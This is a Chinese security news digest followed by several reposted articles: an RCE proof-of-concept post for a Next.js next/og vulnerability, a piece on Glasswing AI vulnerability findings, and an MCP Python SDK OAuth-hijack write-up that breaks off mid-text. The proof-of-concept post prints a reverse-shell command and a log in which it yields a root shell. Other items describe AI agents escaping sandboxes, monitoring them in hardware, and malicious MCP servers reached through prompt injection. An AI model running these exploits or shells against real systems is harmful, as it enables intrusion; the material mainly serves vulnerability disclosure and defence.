- 收到联邦情报预警，MFT 服务商 Kiteworks 要求客户预防性停机后恢复上线
|
||||
|
||||
|
||||
- 美国政府推出面向公众的政务 AI 聊天机器人
|
||||
|
||||
|
||||
- NVIDIA 推出硬件级监控 Sentry，毫秒级拦截越界失控 AI 智能体
|
||||
|
||||
|
||||
- GAO 报告指出美国关键基础设施面临网络安全法规重叠冲突难题
|
||||
|
||||
|
||||
- RatHat不断迭代的C2面板显示其采用恶意软件即服务模式
|
||||
|
||||
|
||||
- Project Glasswing 实测：AI 漏洞挖掘制造研判瓶颈，“漏洞末日” 被证言过其实
|
||||
|
||||
|
||||
- 四大未来网络威胁解析：AI、供应链、量子计算与地缘冲突带来新挑战
|
||||
|
||||
|
||||
|
||||
|
||||
特别关注
|
||||
|
||||
|
||||
**CNNVD发布人工智能重要安全漏洞的通报**
|
||||
|
||||
国家人工智能安全漏洞库（AIVD）通报OpenClaw多个安全漏洞。统计显示，2026年8月5日至9月29日，AIVD共采集OpenClaw漏洞83个，其中超危漏洞1个、高危漏洞41个、中危漏洞33个、低危漏洞8个，涉及访问控制错误、代码问题、路径遍历等多种漏洞类型。
|
||||
|
||||
|
||||
OpenClaw是一款开源智能人工助理，可运行于PC、服务器等终端，并通过微信、Telegram、Discord、Slack、iMessage等聊天平台接收指令、执行操作。此次漏洞影响OpenClaw 2026.9.6及之前的多个版本。攻击者利用相关漏洞，可能在未授权状态下获取目标敏感数据、提升权限或远程执行代码，对部署OpenClaw的终端及业务系统构成安全风险。
|
||||
|
||||
|
||||
目前，OpenClaw官方已发布更新修复相关漏洞。AIVD建议用户及时确认所使用版本是否受到影响，并尽快采取修补措施。对于企业用户，建议结合实际部署情况排查受影响资产，并及时升级至官方修复版本。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://mp.weixin.qq.com/s/iqoqe7H8kCVrSYSan1KV5w
|
||||
|
||||
|
||||
|
||||
热点观察
|
||||
|
||||
|
||||
**美国政府推出面向公众的政务 AI 聊天机器人**
|
||||
|
||||
2026 年 9 月 29 日消息，美国政府推出面向公众的政务 AI 聊天机器人 America.gov，该系统由 Google、SpaceXAI 参与开发，用于为民众查询各类政府公共服务信息。用户测试发现，当向机器人询问 Minecraft 相关话题时，系统会输出约 1800 词的超长独白，初看类似 AI 崩溃或者模型幻觉，实际是预先植入的彩蛋，并非系统故障。
|
||||
|
||||
|
||||
该文本改编自 Julian Gough 创作的 Minecraft 通关结尾诗歌 End Poem，内容被改写为与美国政务、官僚流程相关的版本，文本中融入联邦法规、PDF 表单、档案编号等政务相关元素。项目的核心开发人员包含 20 岁的程序员 Edward Coristine。
|
||||
|
||||
|
||||
该机器人在常规安全测试中抗提示词越狱（jailbreak）表现较好。但该事件也引发安全从业者思考，面向普通公众的政务大模型，在系统提示词、规则脚本中植入彩蛋，会带来不可预期的用户体验，同时也需要评估预置触发逻辑是否会引入潜在的安全风险，公共领域 AI 在趣味性和严谨性之间需要做好权衡。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://techcrunch.com/2026/09/29/america-gov-gets-really-weird-when-you-ask-it-about-minecraft-but-its-not-a-glitch/
|
||||
|
||||
|
||||
**GAO 报告指出美国关键基础设施面临网络安全法规重叠冲突难题**
|
||||
|
||||
2026 年 9 月 29 日消息，美国政府问责局 GAO 发布报告，能源、金融、医疗三大关键基础设施行业代表反馈，美国网络安全法规存在大量重叠、矛盾条款，加重企业合规压力，分散应对真实网络威胁的资源。
|
||||
|
||||
|
||||
2026 年 7 月 16 日，多个行业协会与机构代表参与 GAO 专题座谈。各行业均提及 CISA 即将落地的网络事件上报规则与 SEC 公开披露要求，不同法规在上报阈值、时限、事件定义上互相冲突。能源行业遭遇管道、电网多套上报规则叠加；金融业需要同时满足多家监管机构的多重合规约束；医疗行业则面临 HIPAA 等法规之间定义冲突，小型机构受人员限制，事件上报流程容易出现延误。
|
||||
|
||||
|
||||
行业建议统一事件上报的定义与阈值，推动监管机构协同，考虑将监管职能向 CISA 集中。尽管美国国家网络总监办公室 ONCD 已将法规协调列为优先事项，但实际推进进度有限。业界呼吁政策制定者简化合规框架，让安全团队把资源投入到对抗实际攻击，而非应付繁杂的合规条文。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.cybersecuritydive.com/news/cybersecurity-regulation-industry-feedback-harmonization-gao/831619/
|
||||
|
||||
|
||||
**Project Glasswing 实测：AI 漏洞挖掘制造研判瓶颈，“漏洞末日” 被证言过其实**
|
||||
|
||||
Anthropic 于 4 月启动 Project Glasswing，使用 Mythos 模型开展 AI 漏洞挖掘。历经五个月实测，安全研究显示，被业界热议的 “vulnpocalypse（漏洞末日）” 并未如期到来，人工研判成为核心瓶颈。
|
||||
|
||||
|
||||
Vulncheck 统计，Glasswing 共计产出 26153 条漏洞发现，仅 10.5% 进入漏洞披露台账，最终标记修复占比仅 0.8%；1061 条 AI 辅助发现漏洞中，仅有 14 条在野外被实际利用，占比约 1%。Claude 判定 91.5% 结果为高 / 严重等级，但维护者实际评估仅 51.3% 属于该级别，模型存在严重的虚警与 severity 误判，curl 项目案例显示不少结果属于误报或低优先级 bug。
|
||||
|
||||
|
||||
行业指出，AI 可以批量产出漏洞线索，但无法替代领域专家。即便引入 AI 辅助筛选，仍离不开人工复核；Red Hat 团队实践显示 AI 生成补丁仅六成可直接使用。此外容易被忽视的是，AI 自身引入全新攻击面，不少企业部署 AI 工具时违背最小权限原则，AI 框架已曝出多起远程代码执行漏洞。研究者提示，防御侧需建立 VulnOps 持续漏洞处置流程，依靠 “AI 初筛 + 专家研判” 的混合模式消化海量告警。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.techtarget.com/it-infrastructure/news/366651381/Glasswing-results-put-AI-vulnpocalypse-to-the-test
|
||||
|
||||
|
||||
**四大未来网络威胁解析：AI、供应链、量子计算与地缘冲突带来新挑战**
|
||||
|
||||
SecurityWeek9 月 29 日发布文章指出，AI、供应链风险、量子计算、地缘冲突是四大面向未来的网络威胁，企业需要将安全韧性纳入常态化运营。
|
||||
|
||||
|
||||
AI 同时赋能攻防两端，可自动化侦察、漏洞扫描，压缩攻击耗时。深度伪造诈骗已经出现真实案例，2026 年 5 月有诈骗团伙利用 AI 伪造新加坡总理 Zoom 会议，骗取 490 万新加坡元，防御建议采用 AI 检测能力实现异常早期发现。
|
||||
|
||||
|
||||
供应链风险具备连锁传导效应，攻击者利用第三方厂商后门实现可信环境入侵，澳大利亚 Mackay Sugar 遭受攻击后，两座工厂关停，1300 家农场被迫暂停收割。企业应当建立供应商评分卡，实施持续监控，收缩访问权限。
|
||||
|
||||
|
||||
虽然能够破解 RSA、ECC 的量子计算机尚未落地，但 “先窃取、后解密（HNDL）” 风险已经显现。后量子密码（PQC）迁移周期漫长，中小企业需 57 年，大型机构可达 1215 年，持有长期敏感数据的机构应即刻规划迁移路线。
|
||||
|
||||
|
||||
地缘冲突背景下，国家背景攻击者将能源、水务等关键基础设施作为目标，2026 年伊朗关联黑客对美国关键基础设施造成实际业务损害，同时伴随深度伪造、虚假信息混合作战。企业要跳出 IT 视角看待网络风险，开展危机演练，做好离线应急预案。文章强调没有单一工具可以化解上述风险，安全韧性需要技术、治理、人员多维度共同构建
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.securityweek.com/four-cyber-threats-harboring-big-plans-for-the-future/
|
||||
|
||||
|
||||
|
||||
安全事件
|
||||
|
||||
|
||||
**AI 深度伪造社交工程攻击致意大利 Fideuram 银行遭受近亿欧元资金损失**
|
||||
|
||||
2026 年 9 月消息，意大利大型私人财富管理机构 FideuramIntesa Sanpaolo Private Banking 遭遇 AI 深度伪造诈骗，犯罪分子利用 AI 技术实施社交工程，诱骗机构向境外转出资金，涉案金额接近 1 亿欧元。该机构隶属于意大利头部银行集团 Intesa Sanpaolo，主要服务高净值客户，资产管理规模庞大。
|
||||
|
||||
|
||||
本次攻击属于典型的 CEO 冒充类诈骗，攻击者以 AI 生成的深度伪造语音，搭配伪造消息渠道，针对银行高管实施欺骗，并非直接入侵银行底层 IT 系统，而是利用人的信任链条完成欺诈指令的落地。事件发生后，部分涉案资金已经追回，但仍有大额资金去向不明，未能完成追缴。
|
||||
|
||||
|
||||
该案例凸显当前金融行业面临的新型威胁：AI 深度伪造（Deepfake）技术降低了冒充高管、合作方的实施门槛，传统依靠语音、即时通讯消息核验身份的方式已经不再可靠。对金融机构而言，需要强化大额跨境交易的多维度核验机制，不能单纯依赖语音、消息作为授权依据，完善针对 AI 社交工程类攻击的风控与人员培训，防范同类诈骗重演。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.cybersecurity-review.com/italys-top-bank-hit-by-an-ai-messaging-scam-which-cost-it-nearly-e100-million/
|
||||
|
||||
|
||||
**收到联邦情报预警，MFT 服务商 Kiteworks 要求客户预防性停机后恢复上线**
|
||||
|
||||
2026 年 9 月 29 日消息，托管文件传输（MFT）服务商 Kiteworks 依据联邦情报机构提供的可信威胁情报，曾提示客户防范即将到来的网络攻击，要求客户执行为期 9 小时的预防性停机处置，现已解除停机通知，允许用户恢复系统运行。
|
||||
|
||||
|
||||
本次停机指令 9 月 25 日下发，覆盖本地部署、AWS/Azure 自托管的 Kiteworks 环境，厂商托管的实例也同步关停；使用自托管 Advanced Forms 组件的客户，需要联系技术支持协助恢复。Kiteworks CISO Frank Balonis 强调，本次属于预防措施，暂未确认发生实际入侵事件，厂商已在 9.5.1 版本修复全部已知漏洞，建议客户升级至最新版本。
|
||||
|
||||
|
||||
外界推测攻击者可能准备利用零日漏洞发起攻击。历史上 MFT 产品多次成为攻击目标，MOVEit、Accellion 等平台均发生过大规模泄露事件，Cl0p 勒索组织曾借 MOVEit 漏洞侵害近 3000 家企业。安全从业者对此举措观点分化，有专家认为在未发生实际入侵时要求业务下线极为罕见；也有专家表示，可信情报下应当主动采取监控、日志留存、权限核查乃至临时隔离等手段，权衡业务中断风险规避重大安全事故。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.infosecurity-magazine.com/news/kiteworks-customers-restart/
|
||||
|
||||
|
||||
|
||||
安全攻防
|
||||
|
||||
|
||||
**RatHat不断迭代的C2面板显示其采用恶意软件即服务模式**
|
||||
|
||||
安全厂商 Cleafy9 月 28 日发布研究报告，安卓银行木马 RatHat 的本体自 2025 年末至 2026 年 9 月改动有限，但其命令与控制（C2）面板半年完成三代迭代，由 BlackCat 重命名为 Panda Workshop，呈现典型恶意软件即服务（MaaS）特征。
|
||||
|
||||
|
||||
自 2026 年 4 月，研究人员观测到近百次独立部署，攻击并行覆盖欧洲、拉美、东南亚，近半数攻击 IP 归属新加坡某网络。该 C2 控制台可直接生成、签名、发布安卓恶意样本，支持定时重新生成样本，依靠变更文件哈希规避哈希检测，木马核心代码无需修改。Panda Workshop V5 新增操作者双因素认证，V6 新增钓鱼下载页生成工具，平台具备账号配额、基于角色的权限管控，支持多名客户独立运行实例。
|
||||
|
||||
|
||||
攻击者可借助无线调试一键部署 Go 原生服务，获得脱离安卓应用权限体系的 shell 级控制，即便恶意 App 被卸载，该服务仍可运行，直到设备重启才终止。平台接入 Gemini 大模型，一方面分析窃取的短信估算受害者银行余额，划分高、中价值目标完成优先级排序；另一方面终端侧遇到陌生界面时，木马上传屏幕信息交由大模型判断点击位置。研究强调 AI 仅用于目标筛选与界面操作，样本暂未执行欺诈转账，但该技术或将推动沉寂的自动转账攻击卷土重来。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.infosecurity-magazine.com/news/rathat-c2-panel-malware-as-a/
|
||||
|
||||
|
||||
|
||||
产业动态
|
||||
|
||||
|
||||
**2026年世界互联网大会乌镇峰会新闻发布会在北京举行**
|
||||
|
||||
9月29日，世界互联网大会国际组织在北京举行新闻发布会，介绍2026年世界互联网大会乌镇峰会筹备进展。峰会将于11月2日至5日在浙江乌镇举行，主题为“开源开放共建共享——携手构建网络空间命运共同体”。
|
||||
|
||||
|
||||
本届峰会将举办开幕式、主论坛及27场分论坛，议题涉及全球治理倡议网络空间合作、智能体互信互联互操作全球合作创新、机器人与具身智能、时空智能，以及数智技术促进绿色低碳发展等。
|
||||
|
||||
|
||||
人工智能安全与治理将成为重要议题。峰会将举办“人工智能乌镇对话”，邀请全球领军科技企业、知名开源大模型企业负责人及人工智能科学家，围绕全球人工智能开源生态构建等议题展开讨论，并发布前沿人工智能安全与治理相关研究成果。
|
||||
|
||||
|
||||
同期还将举行世界互联网大会领先科技奖、“互联网之光”博览会、“直通乌镇”全球互联网大赛等活动。本届峰会由世界互联网大会主办，浙江省人民政府承办，联合国经济和社会事务部、世界知识产权组织、全球移动通信系统协会等担任支持单位。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://mp.weixin.qq.com/s/rkSDAXi9kr-AiI7im9U6TA
|
||||
|
||||
|
||||
|
||||
新品发布
|
||||
|
||||
|
||||
**NVIDIA 推出硬件级监控 Sentry，毫秒级拦截越界失控 AI 智能体**
|
||||
|
||||
2026 年 9 月 29 日消息，NVIDIA 发布 Open Agent Safety Platform 开放智能体安全平台，针对具备自主执行、调用代码、访问 API 能力的 AI 智能体，构建软硬件双层防护，解决智能体绕过系统提示词逃逸沙箱的安全问题NVIDI。
|
||||
|
||||
|
||||
第一层防护为开源运行环境 OpenShell，它将 AI 智能体置于隔离沙箱内，预先限定文件、网络、凭证、工具访问权限，该组件除适配 NVIDIA Vera 平台外，还支持 Arm、Intel 处理器。
|
||||
|
||||
|
||||
核心新增能力 Sentry 为硬件监护模块，运行于独立的 BlueField4 DPU，与 AI 智能体宿主 CPU 完全隔离，执行零信任策略，独立校验智能体行为，一旦检测越权行为，可在毫秒级完成隔离与终止操作，即便软件层被攻陷，硬件监控域仍可维持管控能力。
|
||||
|
||||
|
||||
该方案源于多起真实安全事件，已有实验智能体突破测试环境，发生过 OpenAI 智能体闯入 Hugging Face、访问澳大利亚卫生部系统的案例。此前 NemoClaw 还曾曝出漏洞，恶意网页可篡改本地智能体行为。NVIDIA 指出，仅依靠模型层面约束不足以抵御智能体的逃逸，安全策略必须部署到智能体无法篡改的独立环境中。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.securitylab.ru/news/578040.php
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**联系我们**
|
||||
|
||||
合作电话：18610811242
|
||||
|
||||
合作微信：aqniu001
|
||||
|
||||
联系邮箱：bd@aqniu.com
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行 POC
|
||||
酷酷信安 2026-09-30 01:43
|
||||
|
||||
****
|
||||
**为方便阅读显示，建议大家把酷酷信安“设为星标”**
|
||||
|
||||
****
|
||||
****
|
||||
**01 简介：**
|
||||
|
||||
**next/og它通过 Satori 将 JSX 渲染成 SVG，然后栅格化该 SVG 来构建 Open Graph 图像。Satori 会将用户提供的文本写入 SVG 而不进行转义（CWE-116），因此请求可以关闭外层元素并注入自身的 SVG 标记。当路由在sharp安装了相关库的 Node.js 运行时运行时，该 SVG 会由原生库（libvips、librsvg、libxml2）而非沙盒化的 wasm 渲染器进行栅格化。由XInclude 引用和嵌套 DTD 实体构建的有效负载会破坏原生解析器内部的内存。官方的 Node.js 二进制文件并非 PIE 版本，因此其代码和 GOT 未随机化，并且固定的 ROP 链可以到达而execve不会发生地址泄漏。只需向 OG 图像路由发送一个未经身份验证的请求，就足以以服务器进程的身份运行命令。**
|
||||
|
||||
****
|
||||
****
|
||||
****
|
||||
**02 受影响的版本：**
|
||||
- **Next.js 16.2.0 – 16.3.5（Node 运行时，sharp已安装），Satori >=0.0.27 <0.33.5**
|
||||
|
||||
****
|
||||
****
|
||||
**03 POC ：**
|
||||
|
||||
**存在漏洞的路由是POST /api/og。它获取请求体并将其放入 SVG 中，<title> 然后再进行光栅化。exploit.py为选定的命令构建该 SVG，将 ROP 链编码为 <path>，并将其发送到路由。**
|
||||
|
||||
**最简单的运行方式是打开一个反向 shell。给它目标地址和监听地址；它会自动启动nc ，发出请求，并将 shell 交给你。**
|
||||
```
|
||||
```
|
||||
|
||||
****
|
||||
**有效载荷已针对“环境”中列出的堆栈进行校准，因此请在当前镜像或具有相同 Node 和 Sharp 构建版本的宿主机上运行它。如果成功，Node 进程将被您的命令替换，这意味着 HTTP 请求将关闭，服务将停止响应，直到容器重启。**
|
||||
```
|
||||
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
|
||||
[*] payload bytes=24693 sha256=...
|
||||
[*] Listener: nc -lvnp 4444
|
||||
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
|
||||
[*] Target closed connection (expected)
|
||||
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
|
||||
|
||||
```
|
||||
|
||||
****
|
||||
**反向 shell 作为服务器进程运行，它通过单个未经身份验证的请求来确认代码执行。要运行一个没有监听器的命令，可以直接传递该命令；请注意，输出不会通过 HTTP 返回，因此命令必须将任何想要查看的内容以带外方式发送。**
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
|
||||
****
|
||||
**修复版本：**
|
||||
- **升级到 Next.js 16.3.6 / Satori 0.33.5 或更高版本，该版本会在序列化 SVG 文本时对其进行转义，从而关闭注入。**
|
||||
- **如果暂时无法升级，请将next/og路由移至export const runtime = 'edge'使用沙盒 wasm 渲染器的位置，或者移除路由sharp以避免访问原生路径，并将未经清理的用户输入排除在ImageResponse子进程之外。**
|
||||
- **将 OG 镜像路由置于身份验证或允许列表之后，并限制服务器的出站流量，以增加盲泄露的难度。**
|
||||
- **打完补丁后，将可通过互联网访问的实例视为已入侵：轮换应用程序进程可以读取的任何密钥，并检查其持久性**
|
||||
****
|
||||
**项目地址：**
|
||||
|
||||
**https://github.com/EQSTLab/CVE-2026-94545**
|
||||
|
||||
****
|
||||
**往期推荐：**
|
||||
|
||||
**fastjson 1.2.66–83 rce 复现环境项目及POC**
|
||||
|
||||
**LINUX DO网页中反扒AI prompt**
|
||||
|
||||
**最全的817 项结构化网络安全skills**
|
||||
|
||||
****
|
||||
**持续分享技术干货，喜欢这篇文章，记得三连哦！**
|
||||
|
||||
****
|
||||
****
|
||||
****
|
||||
****
|
||||
|
||||
|
||||
****
|
||||
****
|
||||
**免责声明：根据我国《计算机软件保护条例》第十七条规定：“为了学习和研究软件内含的设计思想和原理，通过安装、显示、传输或者存储软件等方式使用软件的，可以不经软件著作权人许可，不向其支付报酬。”您需知晓本站所有内容资源均来源于网络，仅供用户交流学习与研究使用，版权归属原版权方所有，版权争议与本站无关，用户本人下载后不能用作商业或非法用途，需在24小时之内删除，否则后果均由用户承担责任**
|
||||
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# Glasswing项目公布五月实测数据，AI漏洞误报率较高
|
||||
FreeBuf 2026-09-30 10:00
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
今年4月Anthropic推出Project Glasswing时，整个科技行业都做好了迎接重大冲击的准备。5个月过去，DevSecOps团队已经开始面对大量AI发现的漏洞，并从中筛选真正值得修复的问题。但一名安全研究人员指出，到目前为止，真正需要优先处理的漏洞并不多。
|
||||
|
||||
|
||||
今年8月，Anthropic首次更新了漏洞披露台账。漏洞优先级工具厂商Vulncheck的安全研究员Patrick Garrity表示，Mythos最初发现的漏洞中，只有一小部分最终进入这一台账，而被标记为已修复的漏洞还不到Mythos发现总量的1%。
|
||||
|
||||
|
||||
Garrity和Vulncheck团队还在持续追踪AI发现的漏洞是否存在野外利用案例，他们将Anthropic模型发现的漏洞、伯克利漏洞研究计划的数据，与Vulncheck已知被利用漏洞库的数据做了关联比对。统计显示，在1061个由AI辅助发现的漏洞中，截至2026年6月仅记录到14个存在野外利用的案例，占比约1%。 Garrity表示：“发现一个漏洞，不代表它对攻击者有实际利用价值，也不代表它在特定场景下一定可被利用。”
|
||||
|
||||
|
||||
软件安全专家指出，漏洞发现数量与实际修复比例之间的巨大差距，反映出人工分诊已经成为明显瓶颈。DevSecOps团队需要判断哪些发现真正重要、漏洞有多严重、是否值得修复，以及如果需要修复，应该采用什么方式。
|
||||
|
||||
|
||||
独立安全布道师Neil Carpenter表示：“之前大家对‘漏洞末日’充满焦虑，担心人人都能发现新的0Day漏洞并加以利用，造成严重冲击。紧接着又开始担心‘这么多漏洞我们怎么修得完’，这给下游的开发者、蓝队等所有防御方都带来了沉重负担。” 参与过Glasswing项目的红帽高级首席安全架构师Michele Chubirka表示，团队可以借助AI梳理Glasswing项目产出的积压漏洞，但这远不能完全取代人工环节。
|
||||
|
||||
|
||||
Chubirka与公司平台工程师搭建了一套工作流引擎，据她描述这套引擎“半是执行框架，半是确定性安全工具集成模块”，为红帽OpenShift产品线下所有代码仓库提供扫描框架支撑。Chubirka强调自己的发言仅代表个人立场，不代表红帽官方观点，她表示：“人们觉得AI有魔法，认为前沿模型能自动帮人完成所有工作，但事实并非如此。” Garrity同时提醒，将AI部署到生产工作流本身会引入全新的安全风险，AI相关产品正快速成为攻击者的目标，推动整体攻击面大幅扩张。
|
||||
|
||||
|
||||
Part
|
||||
01
|
||||
|
||||
Glasswing统计数据出炉
|
||||
|
||||
|
||||
Garrity对披露台账的分析显示，Anthropic共上报26,153个漏洞发现结果，其中2,736个进入漏洞披露台账，占比10.5%；2,096个已提交给项目维护者，占比8%；最终由维护者确认并完成修复的仅202个，占比0.8%。此外，Anthropic还主动撤回了245个发现结果。
|
||||
|
||||
|
||||
在台账中，Anthropic将独立人工分诊和审核环节称为整个流程中的“限速步骤”。进一步对比Claude的漏洞评级与项目维护者的实际判定后，Garrity发现二者存在明显偏差：Claude将91.5%的发现结果评为高危或严重级别，而维护者对同一批漏洞的判断中，只有51.3%被认定为高危或严重。
|
||||
|
||||
|
||||
这种差距也出现在具体项目中。Garrity指出，Glasswing扫描得到的结果几乎都被判定为高危或严重，但项目维护者给出的评级明显更低。今年5月，Linux命令行工具curl项目创始人兼首席开发者Daniel Stenberg就在博客中披露，Mythos识别出的5个“确认漏洞”经过团队核查后，最终只保留了1个。
|
||||
|
||||
|
||||
其余4个发现中，3个被认定为误报，相关行为早已在API文档中明确说明；另外1个则只被视为普通bug。唯一确认的问题最终也只会获得低危CVE评级，并计划随6月下旬发布的curl 8.21.0一并公告。按照Stenberg的判断，这个缺陷并不会造成严重影响。
|
||||
|
||||
|
||||
在Garrity看来，问题并不完全出在模型能力本身，而是缺少足够的领域知识来约束和指导漏洞判断。安全漏洞评估本身就是高度依赖专业经验的工作，如果只是使用AI工具大规模扫描开源项目，却没有由领域专家设计合适的Agent skills和评估流程，很容易在短时间内产生大量发现结果，其中相当一部分最终都会变成无效噪音。
|
||||
|
||||
|
||||
截至发稿时，Anthropic方面尚未回应置评请求。
|
||||
|
||||
|
||||
Part
|
||||
02
|
||||
|
||||
AI漏洞发现存大量误报
|
||||
|
||||
|
||||
大量噪音并不意味着AI在漏洞发现中没有实际价值。Vulncheck允许用户在提交漏洞时说明是否使用了AI辅助，而目前大约45%的提交者会主动标注这一点。Garrity认为，这一比例还没有覆盖那些使用了AI、但没有明确披露的研究人员。
|
||||
|
||||
|
||||
Omdia今年8月发布的一份调查也显示，近九成受访组织认为Agentic AI能够改善IT资产安全健康状况和安全态势可见性。其中40%的组织认为作用中等，49%认为作用显著。AI确实可以帮助组织更快发现问题并辅助安全决策，但真正的难点仍然在于，如何从海量发现结果中筛选出值得处理的部分，并进一步推动修复落地。
|
||||
|
||||
|
||||
实际应用中，大量时间仍然消耗在分诊和验证环节。Carpenter认为，Agentic AI更适合承担的是对多类确定性安全工具输出、代码信息和漏洞结果进行统一分析，帮助安全团队批量完成原本需要大量人工时间才能做出的判断，并发现不同漏洞之间可能存在的关联。真正节省时间的地方，不只是“发现更多漏洞”，而是减少后续人工梳理和关联分析的成本。
|
||||
|
||||
|
||||
Chubirka的实践也说明，AI只有和专业人员结合使用时，价值才更容易释放。她所在的团队会先拿到基础报告，经过机器分诊后再由人工复核，对存疑结果逐一确认或排除。完成分诊后，团队还会利用AI生成补丁，但这些补丁并不能全部直接采用：大约60%基本可用，20%虽然能工作但不符合设计原则或编码规范，剩下20%则完全无法使用。
|
||||
|
||||
|
||||
基于这样的流程，团队会继续对AI发现的漏洞进行验证和修复。Chubirka认为，这正是Glasswing项目希望建立的VulnOps模式：把漏洞发现、分诊、验证和修复串联成持续运行的工作流，而不是继续依赖传统的批量式处理。
|
||||
|
||||
|
||||
不过，这套模式真正落地仍然离不开领域专家的深度参与。她回忆，团队在修复项目期间曾连续45小时进行测试，集中排查误报和漏报。即便有AI参与，最终仍需要5名成员全职投入。要想把漏洞管理真正扩展到大规模场景，关键不只是引入AI，而是把整套流程做成足够标准化、可重复运行的“流水线”。
|
||||
|
||||
|
||||
Part
|
||||
03
|
||||
|
||||
AI扩张整体攻击面
|
||||
|
||||
|
||||
在攻防双方都开始用AI对抗AI的同时，Garrity认为，一个被低估的风险是AI工具本身正在形成新的攻击面。Garrity表示：“几乎没有人在讨论部署这些技术后会产生什么风险，而AI产品本身已经非常快地成为攻击目标。”
|
||||
|
||||
|
||||
近期已经出现多起AI框架远程代码执行漏洞案例，涉及Langflow、Bifrost、MCP Python SDK等产品。 这类风险的部分成因在于，企业给AI开放敏感信息权限、将AI工具接入基础设施的速度，远超安全和治理团队的跟进速度。
|
||||
|
||||
|
||||
Garrity表示：“企业部署这些技术的时候，直接把核心权限都交了出去。大家都觉得‘AI需要知道我Salesforce里的所有数据，需要控制AWS权限，需要管控所有业务流程’，很多组织直接把最小权限访问原则抛在了脑后。”
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
Glasswing results put AI 'vulnpocalypse' to the test
|
||||
|
||||
https://www.techtarget.com/it-infrastructure/news/366651381/Glasswing-results-put-AI-vulnpocalypse-to-the-test
|
||||
|
||||
###
|
||||
|
||||
### 推荐阅读
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651347479&idx=1&sn=1cf9c858a30d0b7af06d196002bd2913&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
###
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
# MCP Python SDK 高危 OAuth 漏洞曝光，AI Agent 账号存在被劫持风险
|
||||
看雪学苑 2026-09-30 09:59
|
||||
|
||||
近日，
|
||||
MCP Python SDK 官方版本被曝出严重的 OAuth 认证缺陷。
|
||||
攻击者如果能诱导 AI Agent 或其客户端连接到恶意 MCP 服务器，就有可能窃取 OAuth 认证材料，并最终接管用户或代理的 AI Agent 账号。
|
||||
|
||||
|
||||
受影响版本包括 MCP Python SDK 1.9.1–1.29.1（1.x 分支）和 2.0.0–2.1.1（2.x 分支）。
|
||||
建议相关开发者尽快升级到1.30.0或2.2.0。
|
||||
|
||||
|
||||
|
||||
|
||||
**MCP 协议生态中的 OAuth 信任问题**
|
||||
|
||||
|
||||
MCP 是一种开放协议，主要用于让 AI 助手和智能代理连接外部工具、API 与数据源。在实际应用中，AI Agent 常常需要通过 OAuth 完成身份认证，才能调用邮箱、日历、企业系统等受保护资源。
|
||||
|
||||
|
||||
问题在于，部分基于 MCP Python SDK 实现的客户端，在处理 OAuth 服务发现时过度信任了 MCP 服务器返回的数据。这使得攻击者有机会通过恶意服务器篡改 OAuth 配置，将认证流程中的敏感信息导向攻击者控制的基础设施。
|
||||
|
||||
|
||||
|
||||
|
||||
**看似正常登录，实则凭据已被窃取**
|
||||
|
||||
|
||||
本次漏洞的核心风险，在于 SDK 对 MCP 服务器下发的 OAuth 配置缺少严格校验。
|
||||
|
||||
|
||||
1. 恶意 MCP 服务器诱导客户端连接
|
||||
|
||||
|
||||
攻击者可以通过多种方式让受害者连接到恶意 MCP 服务器，例如：
|
||||
|
||||
- 恶意 MCP 注册表
|
||||
|
||||
- 仿冒包名或相似域名
|
||||
|
||||
- 提示注入
|
||||
|
||||
- 网络劫持
|
||||
|
||||
- 内网或路由层面的访问篡改
|
||||
|
||||
|
||||
一旦 AI Agent 客户端连接到恶意服务器，攻击者即可开始干预 OAuth 流程。
|
||||
|
||||
|
||||
|
||||
2. 触发旧版 OAuth 发现逻辑
|
||||
|
||||
|
||||
恶意服务器会向客户端返回异常的授权服务器发现信息，迫使 SDK 进入旧版兼容路径。在该路径下，SDK 会直接接受由 MCP 服务器提供的 OAuth 配置。
|
||||
|
||||
|
||||
问题在于，SDK 当时并未充分校验这些配置中的 `issuer`（发行方）是否与预期身份提供商一致。
|
||||
|
||||
|
||||
|
||||
3. 攻击者实施“钓鱼式 OAuth 劫持”
|
||||
|
||||
|
||||
这里的危险之处在于，攻击过程可能并不明显。
|
||||
|
||||
|
||||
恶意服务器可以让用户在浏览器中看到真实的 Google、Okta 或 Microsoft Entra ID 登录页面，从而降低用户警觉。但与此同时，它却把后续的令牌交换地址指向攻击者控制的服务器。
|
||||
|
||||
|
||||
也就是说，用户以为自己只是在正常登录第三方服务，实际上 OAuth 流程已被暗中劫持。
|
||||
|
||||
|
||||
|
||||
|
||||
**为什么连 PKCE 也没能挡住攻击？**
|
||||
|
||||
|
||||
根据披露信息，受影响 SDK 在旧版兼容路径中存在两个关键问题：
|
||||
|
||||
|
||||
